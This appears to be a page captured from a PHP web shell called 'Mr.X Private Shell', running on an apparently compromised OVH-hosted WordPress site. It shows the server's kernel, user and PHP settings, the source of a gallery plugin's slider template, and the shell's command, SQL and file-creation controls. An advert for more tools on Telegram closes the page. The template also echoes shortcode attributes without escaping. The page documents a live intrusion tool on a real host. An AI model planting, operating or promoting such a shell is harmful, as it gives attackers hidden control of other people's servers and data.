Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/emme_gallery/template      ( Reset | Go to )
File Name: slider.php
Edit
<div id="emmeSlider" class="emme_slider owl-carousel <?=$atts['class']?>">

    <?php 
        
foreach ($images as $image) {

            if(
wp_is_mobile()){
                
$thumb 'medium';
            } else{
                
$thumb 'big';
            }

            
$urlImage wp_get_attachment_image_url($image,  $thumb);
            
$gallery '<div class="emme-slider-item" style="background-image: url('.$urlImage.');">';
               
//$gallery .= '<a  data-lightbox="'.$light.'" data-title="'.wp_get_attachment_caption($image).'" title="'.get_the_title($image).'" href="'.wp_get_attachment_image_url($image, 'full').'" >';
          //     $gallery .= wp_get_attachment_image($image, $atts['thumb'], false, array('alt'   => get_the_title($image)));
            //$gallery .= '</a>';
            
if($atts['title'] != 'No' || $atts['description'] != 'No'){
              
$gallery .= '<div class="txt">';  
                if(
get_the_title($image) && $atts['title'] != 'No'){
                    
$gallery .= '<div class="tit">'.get_the_title($image).'</div>';
                }
               if(
wp_get_attachment_caption($image) && $atts['description'] != 'No'){
                    
$gallery .= '<figcaption>'.wp_get_attachment_caption($image).'</figcaption>';
                }
               
$gallery .= '</div>';  
            }    
            
$gallery .= '</div>';
               echo 
$gallery;
          }
            
?>
</div>



<script type="text/javascript">
jQuery(document).ready(function(e) {

    jQuery('.emme_slider.owl-carousel').owlCarousel({
        margin: 0,
        loop: <?= $atts['loop'?>,
        autoplay: <?= $atts['autoplay'?>,
        autoplayTimeout: <?= $atts['timeout'?>,
        nav: <?= $atts['nav'?>,
        dots: <?= $atts['dots'?>,
        items: 1,
        lazyLoad: true,
    });


});
</script>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL